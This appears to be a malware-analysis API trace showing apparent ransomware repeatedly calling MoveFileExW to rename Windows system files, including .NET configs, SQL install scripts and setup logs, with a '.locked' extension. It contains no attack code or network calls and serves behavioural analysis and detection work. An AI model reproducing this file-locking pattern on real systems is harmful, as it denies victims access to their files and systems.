[0199.745] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\_ServiceModelOperationPerfCounters.h" (normalized: "c:\\windows\\inf\\servicemodeloperation 3.0.0.0\\_servicemodeloperationperfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\_ServiceModelOperationPerfCounters.h.locked" (normalized: "c:\\windows\\inf\\servicemodeloperation 3.0.0.0\\_servicemodeloperationperfcounters.h.locked"), dwFlags=0x2) returned 1 [0199.754] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\ServiceModelService 3.0.0.0\\_ServiceModelServicePerfCounters.h" (normalized: "c:\\windows\\inf\\servicemodelservice 3.0.0.0\\_servicemodelserviceperfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\ServiceModelService 3.0.0.0\\_ServiceModelServicePerfCounters.h.locked" (normalized: "c:\\windows\\inf\\servicemodelservice 3.0.0.0\\_servicemodelserviceperfcounters.h.locked"), dwFlags=0x2) returned 1 [0199.806] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\setupapi.app.log" (normalized: "c:\\windows\\inf\\setupapi.app.log"), lpNewFileName="C:\\\\Windows\\inf\\setupapi.app.log.locked" (normalized: "c:\\windows\\inf\\setupapi.app.log.locked"), dwFlags=0x2) returned 1 [0200.303] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\setupapi.dev.log" (normalized: "c:\\windows\\inf\\setupapi.dev.log"), lpNewFileName="C:\\\\Windows\\inf\\setupapi.dev.log.locked" (normalized: "c:\\windows\\inf\\setupapi.dev.log.locked"), dwFlags=0x2) returned 1 [0200.560] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\setupapi.offline.log" (normalized: "c:\\windows\\inf\\setupapi.offline.log"), lpNewFileName="C:\\\\Windows\\inf\\setupapi.offline.log.locked" (normalized: "c:\\windows\\inf\\setupapi.offline.log.locked"), dwFlags=0x2) returned 1 [0200.570] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\SMSvcHost 3.0.0.0\\_SMSvcHostPerfCounters.h" (normalized: "c:\\windows\\inf\\smsvchost 3.0.0.0\\_smsvchostperfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\SMSvcHost 3.0.0.0\\_SMSvcHostPerfCounters.h.locked" (normalized: "c:\\windows\\inf\\smsvchost 3.0.0.0\\_smsvchostperfcounters.h.locked"), dwFlags=0x2) returned 1 [0200.613] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\_SMSvcHostPerfCounters.h" (normalized: "c:\\windows\\inf\\smsvchost 4.0.0.0\\_smsvchostperfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\SMSvcHost 4.0.0.0\\_SMSvcHostPerfCounters.h.locked" (normalized: "c:\\windows\\inf\\smsvchost 4.0.0.0\\_smsvchostperfcounters.h.locked"), dwFlags=0x2) returned 1 [0200.699] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 3.0.0.0\\PerfCounters.h" (normalized: "c:\\windows\\inf\\windows workflow foundation 3.0.0.0\\perfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 3.0.0.0\\PerfCounters.h.locked" (normalized: "c:\\windows\\inf\\windows workflow foundation 3.0.0.0\\perfcounters.h.locked"), dwFlags=0x2) returned 1 [0200.751] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\PerfCounters.h" (normalized: "c:\\windows\\inf\\windows workflow foundation 4.0.0.0\\perfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\PerfCounters.h.locked" (normalized: "c:\\windows\\inf\\windows workflow foundation 4.0.0.0\\perfcounters.h.locked"), dwFlags=0x2) returned 1 [0200.761] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\WmiApRpl\\WmiApRpl.h" (normalized: "c:\\windows\\inf\\wmiaprpl\\wmiaprpl.h"), lpNewFileName="C:\\\\Windows\\inf\\WmiApRpl\\WmiApRpl.h.locked" (normalized: "c:\\windows\\inf\\wmiaprpl\\wmiaprpl.h.locked"), dwFlags=0x2) returned 1 [0202.065] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Logs\\CBS\\CBS.log" (normalized: "c:\\windows\\logs\\cbs\\cbs.log"), lpNewFileName="C:\\\\Windows\\Logs\\CBS\\CBS.log.locked" (normalized: "c:\\windows\\logs\\cbs\\cbs.log.locked"), dwFlags=0x2) returned 1 [0202.074] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Logs\\DPX\\setupact.log" (normalized: "c:\\windows\\logs\\dpx\\setupact.log"), lpNewFileName="C:\\\\Windows\\Logs\\DPX\\setupact.log.locked" (normalized: "c:\\windows\\logs\\dpx\\setupact.log.locked"), dwFlags=0x2) returned 1 [0202.075] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Logs\\DPX\\setuperr.log" (normalized: "c:\\windows\\logs\\dpx\\setuperr.log"), lpNewFileName="C:\\\\Windows\\Logs\\DPX\\setuperr.log.locked" (normalized: "c:\\windows\\logs\\dpx\\setuperr.log.locked"), dwFlags=0x2) returned 1 [0203.373] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v1.0.3705\\installutil.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v1.0.3705\\installutil.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v1.0.3705\\installutil.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v1.0.3705\\installutil.exe.config.locked"), dwFlags=0x2) returned 1 [0203.382] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v1.0.3705\\mscormmc.cfg" (normalized: "c:\\windows\\microsoft.net\\framework\\v1.0.3705\\mscormmc.cfg"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v1.0.3705\\mscormmc.cfg.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v1.0.3705\\mscormmc.cfg.locked"), dwFlags=0x2) returned 1 [0203.385] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v1.0.3705\\regsvcs.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v1.0.3705\\regsvcs.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v1.0.3705\\regsvcs.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v1.0.3705\\regsvcs.exe.config.locked"), dwFlags=0x2) returned 1 [0203.390] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v1.1.4322\\gacutil.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v1.1.4322\\gacutil.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v1.1.4322\\gacutil.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v1.1.4322\\gacutil.exe.config.locked"), dwFlags=0x2) returned 1 [0203.393] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v1.1.4322\\regsvcs.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v1.1.4322\\regsvcs.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v1.1.4322\\regsvcs.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v1.1.4322\\regsvcs.exe.config.locked"), dwFlags=0x2) returned 1 [0203.446] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp.aspx.locked"), dwFlags=0x2) returned 1 [0203.464] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp_application.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp_application.aspx.locked"), dwFlags=0x2) returned 1 [0203.471] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp_internals.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp_internals.aspx.locked"), dwFlags=0x2) returned 1 [0203.480] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp_provider.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp_provider.aspx.locked"), dwFlags=0x2) returned 1 [0203.494] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp_Security.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp_security.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp_Security.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp_security.aspx.locked"), dwFlags=0x2) returned 1 [0203.499] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Aspnet.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\aspnet.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Aspnet.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\aspnet.config.locked"), dwFlags=0x2) returned 1 [0203.510] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Aspnet_regsql.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\aspnet_regsql.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Aspnet_regsql.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\aspnet_regsql.exe.config.locked"), dwFlags=0x2) returned 1 [0203.513] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\caspol.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\caspol.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\caspol.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\caspol.exe.config.locked"), dwFlags=0x2) returned 1 [0203.588] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\DefaultWsdlHelpGenerator.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\defaultwsdlhelpgenerator.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\DefaultWsdlHelpGenerator.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\defaultwsdlhelpgenerator.aspx.locked"), dwFlags=0x2) returned 1 [0203.616] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\machine.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config.locked"), dwFlags=0x2) returned 1 [0203.678] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\web.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\web.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\web.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\web.config.locked"), dwFlags=0x2) returned 1 [0203.691] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\web_hightrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\web_hightrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\web_hightrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\web_hightrust.config.locked"), dwFlags=0x2) returned 1 [0203.702] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\web_lowtrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\web_lowtrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\web_lowtrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\web_lowtrust.config.locked"), dwFlags=0x2) returned 1 [0203.713] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\web_mediumtrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\web_mediumtrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\web_mediumtrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\web_mediumtrust.config.locked"), dwFlags=0x2) returned 1 [0203.726] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\web_minimaltrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\web_minimaltrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\web_minimaltrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\web_minimaltrust.config.locked"), dwFlags=0x2) returned 1 [0203.729] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\csc.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\csc.exe.config.locked"), dwFlags=0x2) returned 1 [0203.732] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ieexec.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\ieexec.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ieexec.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\ieexec.exe.config.locked"), dwFlags=0x2) returned 1 [0203.735] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ilasm.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\ilasm.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ilasm.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\ilasm.exe.config.locked"), dwFlags=0x2) returned 1 [0203.761] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installcommon.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallCommon.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installcommon.sql.locked"), dwFlags=0x2) returned 1 [0203.815] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installmembership.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallMembership.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installmembership.sql.locked"), dwFlags=0x2) returned 1 [0203.866] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installpersistsqlstate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersistSqlState.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installpersistsqlstate.sql.locked"), dwFlags=0x2) returned 1 [0203.904] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installpersonalization.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallPersonalization.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installpersonalization.sql.locked"), dwFlags=0x2) returned 1 [0203.938] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installroles.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallRoles.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installroles.sql.locked"), dwFlags=0x2) returned 1 [0203.990] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installsqlstate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlState.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installsqlstate.sql.locked"), dwFlags=0x2) returned 1 [0204.042] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installsqlstatetemplate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallSqlStateTemplate.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installsqlstatetemplate.sql.locked"), dwFlags=0x2) returned 1 [0204.052] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installwebeventsqlprovider.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installwebeventsqlprovider.sql.locked"), dwFlags=0x2) returned 1 [0204.054] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\jsc.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\jsc.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\jsc.exe.config.locked"), dwFlags=0x2) returned 1 [0204.060] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\msbuild.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\msbuild.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe.config.locked"), dwFlags=0x2) returned 1 [0204.307] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen.log" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\ngen.log"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen.log.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\ngen.log.locked"), dwFlags=0x2) returned 1 [0204.814] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen_service.log" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\ngen_service.log"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ngen_service.log.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\ngen_service.log.locked"), dwFlags=0x2) returned 1 [0204.820] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regasm.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\regasm.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regasm.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\regasm.exe.config.locked"), dwFlags=0x2) returned 1 [0204.823] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regsvcs.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\regsvcs.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\regsvcs.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\regsvcs.exe.config.locked"), dwFlags=0x2) returned 1 [0204.832] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallcommon.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallCommon.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallcommon.sql.locked"), dwFlags=0x2) returned 1 [0204.842] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallmembership.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallMembership.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallmembership.sql.locked"), dwFlags=0x2) returned 1 [0205.374] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallpersistsqlstate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallPersistSqlState.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallpersistsqlstate.sql.locked"), dwFlags=0x2) returned 1 [0205.392] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallpersonalization.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallPersonalization.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallpersonalization.sql.locked"), dwFlags=0x2) returned 1 [0205.401] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallroles.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallRoles.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallroles.sql.locked"), dwFlags=0x2) returned 1 [0205.414] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallsqlstate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallSqlState.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallsqlstate.sql.locked"), dwFlags=0x2) returned 1 [0205.429] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallsqlstatetemplate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallSqlStateTemplate.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallsqlstatetemplate.sql.locked"), dwFlags=0x2) returned 1 [0205.435] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallwebeventsqlprovider.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\UninstallWebEventSqlProvider.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\uninstallwebeventsqlprovider.sql.locked"), dwFlags=0x2) returned 1 [0205.437] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\vbc.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\vbc.exe.config.locked"), dwFlags=0x2) returned 1 [0205.450] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\SMSvcHost.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows communication foundation\\smsvchost.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Communication Foundation\\SMSvcHost.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows communication foundation\\smsvchost.exe.config.locked"), dwFlags=0x2) returned 1 [0205.481] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\SqlPersistenceService_Logic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\sqlpersistenceservice_logic.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\SqlPersistenceService_Logic.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\sqlpersistenceservice_logic.sql.locked"), dwFlags=0x2) returned 1 [0205.490] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\SqlPersistenceService_Schema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\sqlpersistenceservice_schema.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v3.0\\Windows Workflow Foundation\\SQL\\en\\SqlPersistenceService_Schema.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.0\\windows workflow foundation\\sql\\en\\sqlpersistenceservice_schema.sql.locked"), dwFlags=0x2) returned 1 [0205.947] 